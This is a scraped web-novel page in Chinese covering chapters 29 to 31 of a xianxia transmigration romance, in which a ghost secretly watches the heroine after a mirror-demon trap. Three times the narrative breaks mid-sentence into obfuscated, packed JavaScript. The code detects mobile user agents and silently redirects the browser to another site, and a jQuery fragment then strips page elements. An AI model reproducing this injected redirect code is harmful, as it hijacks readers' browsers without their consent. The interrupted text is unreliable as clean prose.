屏幕中的小男孩昏昏沉沉躺在床上,额上搭了块降温的软毛巾。生病中的人比平时格外脆弱些,男孩烧得糊涂了,问身边的嬷嬷,爹在哪里? 嬷嬷给男孩掖好被角,目光里有怜惜:“宫主在处理事务。” 屏幕外的白曜脸色微变:“......是我小时候的记忆。” 言隐:“看出来了。” 那男孩跟白曜一个模子刻出来的,只不过是缩小版。 窥探别人隐私似乎不太好,可这屏幕实在邪性,就算他们将眼睛闭上,画面也能毫无滞阻地进入脑海,根本就是强制性观看。 原因在于镜妖还未将他们三人彻底吸收化为养料,没法利用他们的记忆搭建幻境,只能提取到些许记忆碎片,通过这种方式在他们面前展现出来。 言隐在心里悄悄问系统:“我的记忆也能被提取吗?那你的存在岂不是要暴露了。” 系统:【不会,我可以将有关自己的记忆片段模糊化。】 言隐有些遗憾,系统自带屏蔽器,看来是坑不了它了。 屏幕里的画面还在持续播放中。 是白曜五岁那年,生病时发生时的事情。 小白曜比现在要坦诚得多,对父母的依恋毫不掩饰,问完了爹又开始问娘,得到的答案是程夫人也在处理事务,不能来看他。 嬷嬷没忍心告诉少主,程夫人其实来过一回,只留下一句:“他能染上这病就已经很让我惊讶了,体质羸弱至此只能说明平时修炼不足,难道还要体贴他偷懒不成?赶紧想办法弄醒他,今日课业照旧。” 小白曜没什么表情,似乎懂了嬷嬷的欲言又止。他撑着身子坐起来,打开枕边的书,翻了两页,太阳穴一跳一跳地疼。 这一页讲的是如何吸收日精月华,他舔了舔干裂的唇,反反复复读了两遍,里头的知识像流水一样顺滑地从左耳滑到右耳。他什么也没记住,只能体会到生病的难受。 或许是受发烧影响,他脑中乱糟糟的,指着书页上那个月字,又问嬷嬷道,月儿在哪里? 嬷嬷以为他烧得神志不清了,小心翼翼道:“月儿,自然在天上。” “不然月亮,是月儿。”他十分不满于嬷嬷的敷衍,“月儿.....是小妹的名字!” “哎呀。”嬷嬷大骇道,“少主,您先别看书了,还是躺下休息一会儿......”她想,少主烧得太厉害,都开始说胡话了,这要是叫宫主和夫人听见,肯定会大发雷霆的。 当年的事大家都心照不宣,只当那女孩夭折了。曾经有人在少主面前提起过“白月”这个名字,第二天就被宫主给逐出门去,可见这事不适合成为谈资。 嬷嬷小心地笑了笑:“哪里有什么小妹,少主你,一直是里云宫的独苗苗啊。” “是这样吗……”脑中有个小小的身影一闪而过,小白曜试图回想,怎么也想不起更多的事。 情绪渐渐平歇,他信了嬷嬷的话,心想自己一定是烧坏了脑子。 看见他的反应,嬷嬷倒松了口气,若少主刨根问底,可就难办了。她揭过这个话题,劝道:“您休息会儿吧。” 小白曜没理会她的提议,只是垂下眼眸,自顾自推翻了先前的说法,笃定道:“对,没有妹妹。” ......骗子。 他明明有。 屏幕外的白曜,眼中露出了一抹奇异的嘲讽。对于自己的童年时期,他并不怀念。 若不是一年前看到了那封玉胥宗寄给白江的信,他差点就信了妹妹早夭的谎话。 对于素昧谋面的妹妹他当然不会有多深的感情,但他痛恨父母这种自以为是的做派,连知情权都不愿给他。 从小到大他都被严格约束,作为继承人来培养,却仅仅是继承人而已。 他的父母不像父母,像上司。 多余的事不能做,多余的话不能听。光是这样也就罢了,上司们却还不满意,亲口承认:“如果留下的是女儿会更好,可惜......” 可惜什么,后面的话他没有听见,因为白江发现了他在偷听,气得甩了他三十鞭子。 多年来在外人面前维持乖儿子的人设,白曜有点装不下去了。靠血缘关系维持的亲情能有几分真心,他的家庭远没有别人以为的那么完美。 唯一值得欣慰的是,长大之后能争取到的自由更多了,他不必天天待在里云宫看两个老家伙的脸色。 既然妹妹还活着,他当然要找机会来丘山看看,更得父母喜爱的女儿长什么样。 萧唤月。 她的名字在他舌尖无声地过了一遭。 胸无大志,安于现状,功力平平......这样的人,是他妹妹?如果白江更喜欢这样的继承人,那白曜只能认为他老糊涂了。 看着屏幕内的画面,白曜的指甲深深陷入掌心。翻涌的思绪攫住了他,让他动弹不得。 而萧唤月此刻闭眼也不是睁眼也不是,心想镜妖真够歹毒的,竟然把这种尴尬的记忆放出来,跟公开处刑有什么区别? 是想引导他们自相残杀,让白曜灭他们的口吗? 一想到待会儿自己的记忆可能也会被公开展示,萧唤月笑不出来一点,有种底裤即将被扒光的恐慌感。 言隐撞了撞她的肩膀:“你哥好像傻掉了,你看他。” 萧唤月连忙摆手,小声道:“别这么说......” 她本意是别把白曜称为她哥,但言隐似乎理解为别说白曜傻,不高兴道:“你自己看,他真傻了。” 萧唤月扭头一瞧,白曜目光放空,对她和言隐的对话置若罔闻,好像在看屏幕,又好像只是在发呆。 她试着叫了白曜两声,他却没有作出任何反应,像是被魇住了一样。 “这可怎么搞。”萧唤月指了指前方的大屏,“难道那东西有致幻效果?” “简单。”言隐凑过来,利索地给了白曜一耳光。 萧唤月:“......” 粗暴归粗暴,还真有用。 白曜的眼神瞬间清明,感受到脸颊上火辣的疼痛,他顶了顶腮。 可惜给予他疼痛的罪魁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14419952|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祸首有着正当理由——言隐一本正经地解释,打他只是为了将他从那种状态唤醒,绝不是故意为之。 白曜后知后觉地意识到自己刚才入了镜妖的套。那段画面是用来引诱人的陷阱,他在情绪里越陷越深,被魇住了。 他割破衣袍一角,得到两块长条状的布料,递给了萧唤月一块。 “那些画面似乎能摄人心魄,”白曜用布条蒙住了眼睛,“虽然这样也还是能看见,但或许能减弱那种影响。” 言隐和萧唤月觉得有道理,纷纷蒙住眼睛靠墙走,同时尽力转移自己的注意力,不去关注屏幕里的画面内容。 萧唤月有点忐忑,生怕下一秒就该轮到自己的记忆片段出场了。如果在现代世界的生活被转播出来,她该怎么向白曜解释? 但镜妖似乎还没有来得及提取到她和言隐的记忆,只有白曜被反复公开处刑,而两个穿越者走运逃过了这一劫。 蒙着眼睛走了许久,那块半透明的大屏终于消失在视野里。但该丢的脸都丢完了,个人隐私被公之于众,不知道白曜此刻作何感想。 萧唤月竟然有点可怜他了。 从那些记忆片段来看,白曜小时候过得也没有很幸福,说不定她被送走反而是因祸得福,那种家庭可真够让人窒息的。 察觉到已经很久没有听到周围人讲话的声音,萧唤月试探性地问道:“蒙眼的布条可以取下来了吧?” 没人回答萧唤月,只有她自己说话的回音在镜子迷宫里震荡。 心里一慌,她一把扯下布条。 之前他们三人都在靠墙行走,萧唤月在中间,白曜走在最前,言隐走在最末。 可现在其余两个人不见了,迷宫中只剩萧唤月孤零零一个人。 大家都会根据脚步声判断位置,按理说不可能出现掉队的情况。 况且言隐和白曜消失得蹊跷,比起掉队,萧唤月更相信他们是被拉入幻境了。 她有点犹豫,不知是该继续往前走,还是停留在原地等一等。 但她的不安没有持续太久。 镜子迷宫中传来什么东西破碎的声音,一股莫名的吸力将她举到了半空中,随即她再次感受到了刚掉进波玉潭时那种被塞进滚筒洗衣机里的滋味。 是邓相许带着八万春长老赶来了。 救援还是很给力的,当萧唤月被抛出波玉潭时,言隐和白曜已经在岸边等着了,她是最后一个出来的。 萧唤月咳了两声,恹恹趴在岸边,吐出几口水。 用内力烘干了湿淋淋的衣服,她才感到好受了些。 言隐倒是容光焕发,还有心思跟她交流体验感。“有几个幻境挺有意思的,变猫那一次......” “嘘,嘘。”萧唤月赶紧提醒他,八万春长老在这里,不要太得意忘形,多余的话吞回肚子里,假装成无辜落水的可怜弟子就好了! 几人默契地统一了口径,坚称来到这里只是为了散步,掉进波玉潭完全是出于意外。 八万春长老似乎很轻易地信了,没有对他们多加责怪,面上还露出一抹羞愧——他认为自己应该早点在波玉潭周围设立结界围栏。 由于镜妖此前已被封印,八万春的确有掉以轻心,低估了它的危险性。 对于几个倒霉弟子,长老口头关怀一番过后,将他们打发去诊堂了。 这正合萧唤月的意,她就怕被留下来审问,得到离开的准许后立即拉着言隐和邓相许飞速跑路。 长老则与白曜一同留在波玉潭边加固封印。 八万春有意将镜妖作为年末弟子选拔赛的一环,如今看来这一点有待商榷,他决定再考虑一下。 30. 第 30 章 白曜没打个招呼就离开了丘山,萧唤月有点遗憾,她还没来得及要回自己那把苗刀呢。 不过转念一想,自己确实不是个使刀的好苗子,照着刀谱练了一段时间收效甚微,还是先把剑玩儿明白了再说吧。 苗刀就当送给白曜了,让他多个防身的物件。 毕竟之前在镜子迷宫里,白曜有提到过,少主的日子没别人想象得那么好过。他在一年前还遭遇过暗杀式袭击,凶手至今下落不明。 对此萧唤月很不理解,白曜要继承的又不是皇位,至于这么吸引仇恨么。 在她看来里云宫是跟玉胥宗差不多类型的组织,门下弟子众多,自成一派。宫主也就相当于校长吧?而且还是没工资拿的那种,顶多算个名誉校长。 基于各个方面的原因,萧唤月对宫主之位一点儿不感兴趣。 她当下的愿望是能拥有一把属于自己的本命宝剑,稳步提升修为。 更高的志向暂时没有。 可惜巧妇难为无米之炊,就算想要炼器,她也没有足够高阶的原材料——那种东西她是买不起的,只能祈祷将来能在秘境之类的地方薅到几株天材地宝。 又回归到两点一线的修炼日常,萧唤月在演武场和小院之间来回打转,偶尔去一趟传道堂。 言隐已经不在丘山了,这是他离开的第六天,萧唤月心里说不清楚是什么滋味。 其实她有想过,言隐如果为了那个不可获知的目的继续留在丘山,那她是不是可以稍微利用一下他......就当多了个免费的打手。如他所言,他会是个很好用的工具。 但对言隐来说,丘山不是他该栖息的枝头,还是尽早回鬼界比较好吧?如今算是回到正轨了。 幸好言隐没什么朋友,失踪六天也无人发现异常......这么一想又怪心酸的。 这一日,萧唤月照常在院中打坐修炼,运转完一个小周天,睁眼一看,周围已经昏暗下来。独属于夜晚的静谧降临了,院中只剩下风吹树叶的沙沙声。 这种时刻难免会感到空虚,黑夜降临意味着这一天快要结束,所有的喧嚣热闹都远去了。 在萧唤月还没穿越到这个世界之前,她在乡下住过两年,那时候她还小,天一黑就被外婆赶去床上睡觉。 外婆掖一掖被子将她安顿好,就关上灯锁上门,推着小车去两公里外的集市口卖夜宵。 她到现在还记得那个房间的窗户总是关不严,窗外植物苦涩的香气在房间里萦绕不去......后来她知道了,那是橘子树的味道,丘山也有种橘子树。 回忆这种久远的往事,如果要选择一位听众的话,那只能是言隐。 同是穿越者,在他面前,她不必费心隐瞒关于另一个世界的记忆。 不过萧唤月记得言隐说过,他老爸是开公司的,家里挺有钱。那他应该不太能理解这种田园生活吧?陪伴少爷的只有账户上温暖的数字。 ......奇怪,这都能联想到他。 萧唤月意识到这一点,晃了晃脑袋,好像要把那些多余的思绪从脑袋里摇出去一样。 站起身来准备回到房间,她却感到后颈好似被针扎了一下——并不是痛感,而是仿佛有道视线,浓烈到快要化作实质,落在她后颈上。 这种想象令她头皮发麻,猛地回头一看,身后空空荡荡,并没有什么人。 但她向来相信自己的直觉,细细扫视了一圈周围,没放过任何一个角落。最后,她的视线停在装水的大缸上面。 院子不大,如果有人在暗处窥视她,最可能的藏身之处就是那后面。 蹑手蹑脚走过去,她有些紧张,不自觉屏住了呼吸。 丘山地境,应该不会有小偷和窃贼吧......都是修仙的,谁偷东西啊。 何况她这里根本没什么东西值得一偷,重要物件都放在储物戒里了。 萧唤月心里胡思乱想着,如果真有歹徒藏在后面,会不会因被她发现而恼羞成怒? 但她人已经走到了水缸旁边,哪有退缩的道理。 心一横,她长剑出鞘三寸,都准备好干架了。然而水缸后空无一物,半个人影也没有。 院子里安静得呼吸可闻,空地上只有树影摇曳。她还维持着拔剑的姿势,左右环顾,倒显得有点疑神疑鬼。 或许刚才恰好有只小老鼠在偷看她?半晌,萧唤月自嘲似的一笑,把剑收回了剑鞘。 大概是白天练功太累,人都快出现幻觉了。 她叹口气,决定回房好好睡一觉。 没想到这一觉睡得也不安稳,一晚上净做些乱七八糟的梦,现代和古代背景交叉着来,搞得她脑子都快乱掉。 第二天打着哈欠去了演武场,和几个同门切磋,喜提三战三败的战果。 见她状态不好,隔壁装模作样打拳的邓相许停下来,朝她担忧地投去一眼。 “你没事吧?” “没事,有点累。”萧唤月不在意地摆摆手,“这段时间睡眠不足,休息会儿就好了。” “好吧。”邓相许挠挠脑袋,“那个......” “嗯?” “我想问,你今晚有时间吗?” 萧唤月立马警觉:“干什么,要做坏事?我可不去了。” 前不久才被波玉潭镜妖坑了一把,她心有余悸。 “不不......”邓相许哭笑不得,“我是想请你吃个饭,上次连累了你,我过意不去。” “噢,那倒不用,你姐已经补偿过我精神损失费了,直接给了一袋灵石,有够财大气粗!” “她是她,我是我,那不一样。” 萧唤月摊开手心;“行吧,那你也给我一袋灵石。” “这......我最近手头有点拮据。” “哈哈哈哈哈,开玩笑啦!”她拍拍邓相许的肩膀,“真不用,这些天我都吃嗑辟谷丹,有阵子没去膳堂了。” 邓相许见状也不好再坚持,转而道:“那,言隐呢?这几天我没有看见过他。” “你要请他吃饭?” “嗯......可以呀。” “我不知道他在哪,也许正闭关修炼呢。”萧唤月打了个马虎眼。 “咦,我以为你对他行踪会很了解。” “倒也没有,大家都有各自的事要做嘛。”萧唤月面带微笑,“其实你不必费心,那天的事他不会在意的。” 邓相许不好意思道:“好吧,真是对你们不起。” “你只管安心修炼就行,”萧唤月鼓励他,“今年一定可以晋升。” “唉,但愿。”想到即将到来的考试,邓相许面上浮现出几分忧愁。 * 萧唤月怀疑自己得了神经衰弱。 症状体现在最近总是疑神疑鬼,走在路上,三两步一回头,老觉得有人在看自己。 那种被窥视的感觉挥之不去,好像一直有道黏黏糊糊的视线,如影随形。 她开始怀疑自己是不是撞鬼了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14419953|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 按理来说她都是个修仙的了,不该再害怕什么幽灵鬼怪,但她的心理素质还没有强大到能视诡异如无物的境界。 拜入门派前的的十六年她可是饱受噩梦困扰,对于那些东西,她是不敢小觑的。 听闻八万春长老座下的那位亲传弟子对收伏鬼怪一事颇有心得,于是她大着胆子去请教了一番。 路师姐没藏拙,直截了当地告诉她:“首先,精神力是很重要的,尽量把胆子练起来,别害怕。你越害怕,它们就越有可能趁虚而入。” 萧唤月若有所思地点头。 “怎么,你想收鬼啊?”路承蕊很好奇。 “没有没有,就是问问。” 撞鬼这事还没个结论,说到底不过是她的自我猜测而已,还是先不要大张旗鼓地散播此事了。 从路师姐那里回来,萧唤月牢记那句“别害怕”的忠告,一路昂首挺胸,哪怕身后听见有异动,她也绷着脸没回头。 回到院子她松了口气,假借关门的工夫回望了一眼,身后什么也没有,那种被跟踪的错觉不知从何而来,或许只是她太敏感。 有些口渴,她掀开水缸盖子,舀了一勺水。 这一口喝下去直接从喉咙凉到胃,提神又解渴。 往缸里看了一眼,她喝水的动作突然顿住。记得昨天只有半缸水,今天怎么满了? 她中途有添过水吗?对自己的记忆力越发不自信,她满腹狐疑地盖上盖子。 暂且认为是自己记性不好,但她还是留了个心眼,对院中可能发生过的细微变化加倍关注起来。 从这一日起,她每天回到院子,好似在玩找不同游戏,从缸中水位线的高低,到扫帚摆放的位置,她都会看一眼。 竟然还真让她有所发现。 比如,出门前院中明明一地落叶,回来的时候却被清扫得干干净净。再比如,窗台上,瓶中花枝的朝向有所变化,之前是朝外的,现在却朝内。 这些尚能解释,说不定是刮了一阵风,刮跑了落叶,吹动了花枝? 又一日回到院中,她继续观察,目光转了一圈,转到屋檐上。 那里之前碎了几片瓦,下雨总漏水,现在居然添上了新瓦......这总不能是风刮来的吧? 萧唤月爬上去看了看,瓦片下面居然还塞了细沙和石灰,把破洞补得严严实实。 有问题,绝对有问题!丘山可不承包房屋修缮工作,那漏雨的瓦片下面对应的是杂物间,萧唤月寻思漏几滴水问题不大,一直没管过,所以这洞也不可能是她自己补的。 一次可以说是记错了,或者巧合。两次,三次,院中频频发生的异常让她没法再心大地保持忽视态度。 眼下几乎可以确定,在她的院子里,在某个她看不见的角落,有东西正在窥探并尝试入侵她的生活。 而她对此一无所知,若非对方主动露出马脚,她绝无可能发现他的存在。 家里藏着一个人,或者一只鬼。 这种事情发生在自己身上,惊悚之余,萧唤月还感到不解。 对方动机成谜,似乎没有恶意,谁家恶鬼帮人补房瓦,还自觉往水缸里头添水? 但对方无论如何都不愿现身,执着于扮演田螺姑娘的角色,真是令人匪夷所思。 萧唤月心中隐隐有了个猜测。试探性的,她对着空气问话: “......言隐,是你吗?” 没有回应,只她一人站在院中,孤零零地自说自话。 31. 第 31 章 邓相许把玩着手中的物件。 晦暗灯光下,木簪微微透亮,通体幽黑,簪尾雕刻出几道精巧的弧线,像只振臂欲飞的小鸟。 这簪子是他亲手做的,本想借吃饭的名义送给萧唤月,但她拒绝了他的邀请。 磨挲着簪子,纠结了很久,邓相许还是觉得,无论如何,都应该让她知道自己的心意。 萧唤月是个好姑娘,他不想错过。 拖得越久,他和她见面的机会就会越少。 学有所成的弟子下山游历十年甚至几十年都是再正常不过的事,待到他日,萧唤月真正成长起来,被她吸引的人一定会只多不少,毕竟她很优秀,又那么漂亮。 邓相许想趁现在,自己和萧唤月还没有生分,抓住机会。不求将来能与她结成道侣,至少当下别留遗憾。 此前他差点就要放弃了,因为总觉得言隐与萧唤月关系匪浅,而言隐又远比自己出色......他听说了,在上一届弟子选拔赛中,言隐的剑气把都视灵震碎了,那该是多么磅礴的剑气? 一年过去,言隐的功力又该精进了不少吧? 实力比不过,脸也比不过。邓相许自惭形秽,心里不自觉冒出了一点微妙的嫉妒。 可最近,邓相许发现,萧唤月和言隐的关系并没有他以为的那么密切。 细想一想,这两人似乎也从来没有过什么逾矩的举动?都是他自己脑补而已,说不定人家只是普通朋友...... 于是他又看到了希望,心想萧唤月不会是那么肤浅的人,她若是要找道侣,更为看重的一定是内在。 脸好看又怎样,功力更强又怎样?他比言隐性格好,比言隐会说话,这都是他的优势。 捏着簪子,他下定了决心,推门而出。 今天天气很好,适合表白。 千算万算没算到,刚出门就摔了个狗吃屎,精心打理的发型都乱掉。这一跤摔得蹊跷,明明脚下没有任何障碍物,但他就是摔了。 邓相许气冲冲地爬起来,看了一眼怀里的木簪,还好还好,没有断掉。 将头发重新整理一番,掸去衣袍上的灰尘,他再次给自己打气——摔一跤正好把霉运摔掉,剩下的都是好运气,表白一定可以成功! 忐忑不安地来到小荼峰,敲响了萧唤月的院门。他心中组织着语言,力求待会儿能滴水不漏地将自己的心意好好表达出来,然而在见到萧唤月的那一刻嘴巴却不争气,支支吾吾,半天只说出个“你好”。 萧唤月看起来没什么精神,但还是礼貌性地邀请他进来坐一坐。 给他泡了杯茶,萧唤月才问:“来找我是有什么事吗?” “路过......”不争气的嘴又开始胡说八道,“顺便进来跟你聊聊天,很久没有见到了。” 萧唤月一抬嘴角,心想邓相许记性比她还要差。 “几天前,我们才在演武场见过的。” “是吗。”邓相许抿了口茶,紧张得脚打颤。“最近你怎么样?” “还好,就那样。”几个字敷衍过去,萧唤月注意力开始不集中了,捧着茶杯左张右望。 “在看什么?” “......没什么。” 萧唤月知道,自己这幅样子在别人看来可能有点傻,但她刚刚又感受到那种黏腻腻冷冰冰的视线,顿时忍不住化身惊弓之鸟,瞪着眼到处观察,试图找出其源头所在。 甚至顾不得邓相许还在场。 周身气温都好像下降了几个度,她不安稳地调整了一下坐姿,将杯中添满热水。 “对了,你刚才在门外有看见什么人吗?”她不抱希望地问。 “没有。”邓相许果然这样回答。 萧唤月点点头。 她本来觉得可能会是言隐,但如果真是他的话,没道理被猜中了身份还不肯站出来回应。 于是她转而猜测,莫非是某只法力高强的孤魂野鬼,因面目丑陋不敢示人,只敢背地里做点好人好事——这是她往好了猜的,实际上对方仍有图谋不轨的可能性。 就算那真的是只好鬼,不做坏事,萧唤月也不喜欢这种敌在暗我在明的感觉,她的行踪对方全然知晓,而她连对方的影子都摸不着。 邓相许没有走,一口接一口地喝茶。茶壶都见底了,他还不肯起身,也不说话。 萧唤月看他一眼,心想得找个借口把他打发走。 邓相许不在,她才能跟鬼大哥好好交流一下。 她想好了,今天过后,如果对方还是不现身,铁了心要躲在暗处当田螺姑娘,那她只好告到长老那里去了,到时不信搞不定这小小野鬼。 该回哪去回哪去,别留在她院子里当监控摄像头,怪瘆人的。 “那个,天色已晚,要不......” “我喜欢你。” 两句话几乎同时脱口而出,萧唤月愣住。 邓相许好像说了什么不得了的东西,是她听岔了吗? “你刚才说......” “我喜欢你。” 邓相许做了很久的心理建设,才终于说出口。 一不做二不休,萧唤月没听到,他就字正腔圆地再说一次。 这回萧唤月是听清了。 沉默良久,脸上不见被告白的喜悦,倒浮现出几分为难的神色。 叹了口气,她心说这可麻烦了。 该怎么拒绝对方呢,用不伤自尊的方式。 毕竟是同门,面子上还是别闹太难看为好。 邓相许看见她脸色的转变,就已明白了一半。 料想中的美好恋情恐怕是要告吹了,白跑一趟不说,原先的朋友关系可能也要搞砸。 失望之余,竟然有种如释重负的感觉。 反正话已经送到了,时间那么长,将来的事谁说得清,万一她以后改变主意喜欢上他了呢?至少他有让她印象深刻吧。 “谢谢你,但......” 萧唤月准备发好人卡,邓相许苦笑一声打断了她。 “我知道了。”他摇摇头,希望接下来那句伤人的话能别说出口,无需言传,意会就行了。 被截住了话头,萧唤月不知道该说些什么,只憋出来一句:“嗯。” 想了想,木簪子自己也用不上,虽然被拒绝,邓相许还是决定把这东西送给她:“簪子收下吧,不值几个钱,是我自己做的。” 萧唤月推拒:“不了,你可以留着,将来送给别人。” 无论如何萧唤月都不肯收,邓相许颇感无奈,拂袖起身。 事已至此,他仍希望最后能在她心里留个好印象,装作洒脱的样子,拱了拱手:“以后还是朋友。” 道了别,他忍住心中酸涩,走出两步,忽然转身将木簪丢在了放茶的小几上,大有“你不要可以扔掉,反正是送你了”的感觉。 丢完之后他一言不发,也不去管身后萧唤月说了什么,疾走几步便踏出院门。直到将那间小院远远甩在身后,才停住脚步,抬手抹了抹要掉不掉的眼泪。 萧唤月对着那道失意的背影呼喊无果,想要把簪子扔回去,又感觉他太惨了有点不忍心。 况且她心里还惦念着院里那孤魂野鬼的事儿,便懒得再纠结邓相许这一茬,琢磨着改天找个机会,托人把木簪子交还给他就好。 没想到一回头,小几上除了茶具外什么也没有,方才还躺在上面的簪子不翼而飞。 绕着小几走了一圈,她面露疑惑——真是怪事,桌上没有,地上没有,能掉到哪去? 另一头的邓相许,此刻正伤情着,失魂落魄,剑也不御了,头发乱糟糟地趴在肩膀上,好似有人在他头上下了场雨,小乌云萦绕在头顶。 恍神间手里多个了硬邦邦的东西,他懵了一会儿,低头看去,竟然是一支木簪。 由于是自己亲手雕刻,木簪上的每一根线条他都了如指掌,错不了,的确是送给萧唤月的那只。 但萧唤月并没有跟来,这根簪子是凭空出现在他手里的。 其诡异程度约等于活见鬼,邓相许大惊,眼珠子转来转去,厉声道:“谁?” “恶作剧?”为表震慑,他直接拔剑,“别装神弄鬼的,这里可是丘山!” 有人在他耳边轻轻叹了口气。 邓相许起了一身鸡皮疙瘩,不知对方身在何处,手中长剑只能毫无章法地挥来舞去。 “邓相许。”对方出声了,居然是在叫他的名字。 这声音......听着像是言隐的? 念头刚起,邓相许就看见了一张熟悉的脸。 皮肤很白,瞳仁极黑,两种颜色对比度强烈。逆着光,他面上笑意不明。阴晦冷涩的气息,活脱脱一只山中孤魂,野坟厉鬼。 邓相许一口气差点没上来,缓了缓,才惊疑不定地问:“言隐?” 言隐现了身,抱臂站在他面前,也不装了。语气惋惜地摇了摇头:“那木簪她不要,我帮她还给你。” “......你刚才是不是故意吓我。” “没有。” 言隐冤枉,他鬼时候就这个样。之前表现出的形象比较活人,是因为有刻意吸纳阳间生气,方便在丘山更好地伪装成普通弟子而已。 回了几天鬼域,被阴气浸染得一朝回到解放前......其实他自己是觉得没多大变化啦,都怪这些活人太敏感。 邓相许脸上的慌张逐渐被愤怒取代,他虽不如言隐,却不代表甘心被如此戏弄。 “那为何之前不现身?”邓相许冷冷道,“用隐身符故弄玄虚,看我惊慌失措,很好玩罢?” 言隐气笑了,他想隐身还需要隐身符?这项技能是个鬼都会。且不说鬼,就连许多修士大能也可以做到,邓相许真没见识。 此刻他对邓相许癞蛤蟆想吃天鹅肉的行径嗤之以鼻,自然看他哪哪都不顺眼,心里嘲讽了一番,才慢悠悠道: “我只是来还东西,没想吓你,是你自己胆小。” “我送给萧唤月,又不是送给你。”邓相许气不打一处来,“难不成她让你来的?” “那倒不是,我自己来的。”言隐理直气壮,“但她不想要你的木簪,你看不出来?以后不准来找她,她不喜欢你。” 这话足够扎心,邓相许觉得自己膝盖中了一箭,抬眼强撑道:“喜不喜欢,那也是我跟她之间的事,你以什么身份来插手?” “我是她......朋友!” “我也是她朋友。”邓相许讥笑,“看起来你没什么特别?” 刚被喜欢的姑娘拒绝过,邓相许心情正低落着,对眼前这个疑似情敌的人当然挤不出半点笑脸。兔子急了还咬人呢,如果言隐以为他会认怂,那就大错特错了! 出乎意料的是言隐没有因这句挑衅而生气,反倒很平静的样子:“你懂个屁。” 他当然是特别的,只有他知道萧唤月真正的来历,邓相许算什么东西? 邓相许被他的出言不逊搞得窝火,额角青筋一鼓:“好好说话。” 言隐赶苍蝇似的挥挥手:“我已经是嘴下留情了,快滚吧,不然......”他想说不然杀了你,随即又察觉到这话好像太狂妄,于是改口:“不然打飞你。” 以前哪里会管这些,想说什么就说了,言隐心里不禁感叹,在仙门耳濡目染这么长时间,脾气似乎好了不少,这就是所谓的修心养性吗。 邓相许差点就要冲动地接一句“要不我们切磋切磋”,然而他还是留有理智的,想了想,打起来多半是输,干嘛给自己找不痛快。 气呼呼地一甩袖子,他直接转身走掉,不再去理会言隐。 言隐在邓相许背后松了口气,心想这事总算告一段落,没表白成功真是太好了。他攻略萧唤月这么久都没成功,邓相许凭什么成功? 方才邓相许跟萧唤月讲话的时候他就在旁边听着,柳叶刀都快架到邓相许脖子上了。幸好萧唤月还算有眼光,拒绝了这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14480255|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知天高地厚的家伙。 送走了邓相许,言隐又溜达回萧唤月的院子里。 他现在的心情很矛盾,既怕她知道他在这里,又怕她不知道。 之前放话说要回鬼界,结果没待几天就巴巴地跑回来......他自己都唾弃这种行为,多丢面啊! 但没办法,回了鬼界实在很没趣,比在传道堂上课还无聊。 系统倒是说到做到,在他下山时就自行解绑离去了,他现在连商城面板都无法查看。 走了挺好,反正目前为止系统都没表现出什么作用,只时不时播放一下好感度数值,让他的心凉上加凉。 而且播报得还很随机,很多时候如果他不主动问,系统就不说。 遗憾的是,在系统离开之前,他忘了再询问一次数值。 不知道萧唤月现在对他的好感度还剩多少,应该能有三十吧?他们可是在幻境里共患难了那么久。 ......算了,不想这些,数值没意义,系统都没了,管那些干什么。 萧唤月正在院子里喝茶,小口小口地啜着,双手捧杯,眉眼低垂,不知道在想些什么。 言隐是不爱喝茶的,他觉得那玩意儿又苦又涩,但看了一会儿,忽然也有点想尝尝。 “鬼大哥,我说了这么久,你还不出现,是不想,还是不敢呢?” 萧唤月闷闷不乐,叹了口气。她口水都要说干,对方却不为所动,看来是真的无意与她交涉。 言隐一懵,她是在跟他说话? “虽然你可能没有恶意,但我不喜欢这种被监控的感觉......鬼大哥你能明白吗?”她继续劝。 不不,他只是偶尔来看看,添一添缸里的水,补一补漏水的屋檐,算不上监视吧?虽然这么想,但言隐还是有点心虚。 “对于你们做鬼的来说这可能不算什么,但对于我们人来说,暗地里一双眼睛盯着,是有点可怕的。”她的语气像在哄小孩,声线低低的。“不对,应该说是非常可怕。我知道你是个好鬼,不是想故意吓人,对不对?” “......我没有故意!”终究还是忍不住现了身,言隐急切地为自己辩白。 萧唤月捏着杯子的手一紧,从上到下扫视了他一眼。 半晌,她眉间的郁结之色散去,松了口气的样子,但脸上的表情看起来好像又有点生气:“怎么是你?” “你都猜到是鬼了,难道就没想过可能会是我吗?我就是鬼,鬼就是我......”他有点惆怅,感觉自己已经被萧唤月忘了个干净。 “我怎么没有猜过。”萧唤月认为他贼喊抓贼,“我还大声在院里大声念你的名字,你没有回应我。” 言隐的气势瞬间就弱下来,目光游离:“是吗?” “是。” “大概那时候我恰巧不在吧,不然肯定现身了。” “......算了。”萧唤月一副不想跟他多计较的样子,转而问道,“你不是回鬼界了吗?为什么又来到丘山。” 